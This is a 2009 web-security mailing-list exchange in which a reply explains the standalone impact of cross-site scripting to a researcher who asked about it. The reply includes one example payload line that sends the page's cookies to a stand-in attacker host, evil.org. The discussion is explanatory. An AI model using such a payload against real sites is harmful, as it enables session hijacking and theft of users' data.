Porttikivi, Anssi anssi.porttikivi at kpmg.fi
Wed Jan 14 04:00:49 EST 2009

It is good to remind everybody here with the most common, basic
motivation for XSS exploitation. If the attacker can control the
javascript that is sent to victim browser, attacker can inject to the
victim (you can try this schema in your browser URL input field):
<BLOCKED::http://evil.org?x> =" + document.cookie
Or the attacker could replace "document.cookie" with any other
Javascript construct, having access to all the data on the page that DOM
defines, then sending it to evil.org as URL parameters. 
So the peculiar risk andf impact of XSS is that all the data on the page
plus cookies of that site can be stolen. It is up to the cleverness of
the attacker, what is done with that data:  stealing authentication
info, triggering malware downloads, doing XSRF or anything.


	From: Pete Lindstrom [mailto:petelind at spiresecurity.com] 
	Sent: 14. tammikuuta 2009 2:32
	To: websecurity at webappsec.org
	Subject: [WEB SECURITY] XSS Impact

	Greetings -


	I am trying to get my arms around the cross-site scripting
vulnerability impact and can only come up with it as an enabler of other
exploits. Can you give me your best (highest impact) examples of what an
XSS vuln can do without combining with other exploit techniques?






	Pete Lindstrom

	Research Director

	Spire Security


	blog: http://spiresecurity.typepad.com



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